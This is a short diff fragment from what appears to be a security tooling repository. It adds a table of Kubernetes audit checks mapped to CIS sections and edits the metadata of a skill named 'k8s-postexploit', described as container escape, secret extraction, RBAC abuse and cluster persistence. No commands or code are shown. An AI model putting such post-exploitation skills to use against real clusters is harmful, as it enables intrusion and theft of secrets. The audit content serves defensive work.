+| rbac_audit | cluster-admin, wildcards, default SA | 5.1.x |
+| network_policy_audit | Missing policies, default deny | 5.3.x |
+| pod_security_audit | Privileged, hostPID, capabilities, root | 5.2.x |
+| secrets_audit | Secret types, env exposure, etcd encryption | 1.2.29, 5.4.x |
+| image_audit | Latest tags, pull policy, untrusted registries | — |
+| api_server_audit | Anonymous auth, insecure port, admission, audit | 1.2.x |
+| resource_limits_audit | CPU/memory limits, LimitRange, ResourceQuota | 5.4.x |
+| ingress_audit | TLS, wildcard hosts, snippet injection | — |
+| serviceaccount_audit | Auto-mount tokens, cluster-admin SAs, unused SAs | 5.1.x |

package/skill/k8s-postexploit/SKILL.md

@@ -3,7 +3,7 @@ name: k8s-postexploit
 description: Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
 category: post-exploitation
 tags: [kubernetes, k8s, container, post-exploitation, rbac, escape, etcd, secrets, daemonset, cronjob]
-tech_stack: [kubernetes, python, etcd]
+tech_stack: [kubernetes, kubectl, etcdctl]
 cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-250]
 chains_with: [T1611, T1552.007, T1613, T1610, T1053.007]
 prerequisites: [T1610, T1078]